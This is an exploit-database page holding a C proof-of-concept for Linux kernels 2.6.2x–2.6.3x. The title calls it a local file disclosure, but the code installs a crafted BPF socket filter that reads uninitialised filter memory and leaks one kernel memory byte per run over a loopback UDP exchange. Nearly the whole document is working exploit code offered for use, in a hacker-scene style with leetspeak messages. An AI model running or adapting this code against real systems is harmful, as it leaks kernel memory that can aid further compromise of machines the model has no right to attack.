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Linux Kernel 2.6.2* - 2.6.3* Local Files Disclosure
[1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 0
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1
/*
* Local File Disclosure
* Linux Kernel 2.6.2* - 2.6.3*
* By > CrosS
* Greetz > r0073r , r4dc0re , Side^effects(1337day.com)
* Ataman , S4(uR4 , Xenu(r00tw0rm.com)
/
#include <string.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdlib.h>
#include <linux/filter.h>
#define PORT 37337
int transfer(int sendsock, int recvsock)
{
struct sockaddr_in addr;
char buf[512];
int len = sizeof(addr);
memset(buf, 0, sizeof(buf));
if (fork())
return recvfrom(recvsock, buf, 512, 0, (struct sockaddr *)&addr, &len);
sleep(1);
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
sendto(sendsock, buf, 512, 0, (struct sockaddr *)&addr, len);
exit(0);
}
int main(int argc, char * argv[])
{
int sendsock, recvsock, ret;
unsigned int val;
struct sockaddr_in addr;
struct sock_fprog fprog;
struct sock_filter filters[5];
if (argc != 2) {
printf("[*] Usage: %s offset (0-63)\n", argv[0]);
return -1;
}
val = atoi(argv[1]);
if (val > 63) {
printf("[*] Inv4liD by7e oFfs3t (must be 0-63)\n");
return -1;
}
recvsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
sendsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (recvsock < 0 || sendsock < 0) {
printf("[*] CoulD no7 Cre4t3 soCke7s.\n");
return -1;
}
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(recvsock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
printf("[*] CoulD no7 biNd soCke7.\n");
return -1;
}
memset(&fprog, 0, sizeof(fprog));
memset(filters, 0, sizeof(filters));
filters[0].code = BPF_LD|BPF_MEM;
filters[0].k = (val & ~0x3) / 4;
filters[1].code = BPF_ALU|BPF_AND|BPF_K;
filters[1].k = 0xff << ((val % 4) * 8);
filters[2].code = BPF_ALU|BPF_RSH|BPF_K;
filters[2].k = (val % 4) * 8;
filters[3].code = BPF_ALU|BPF_ADD|BPF_K;
filters[3].k = 256;
filters[4].code = BPF_RET|BPF_A;
fprog.len = 5;
fprog.filter = filters;
if (setsockopt(recvsock, SOL_SOCKET, SO_ATTACH_FILTER, &fprog, sizeof(fprog)) < 0) {
printf("[*] F41leD 7o 1nstaLl fiLteR y0u m0f0 h3aD.\n");
return -1;
}
ret = transfer(sendsock, recvsock);
printf("[*] Your byte: 0x%.02x\n", ret - 248);
}
# 0day.today [2024-12-29] #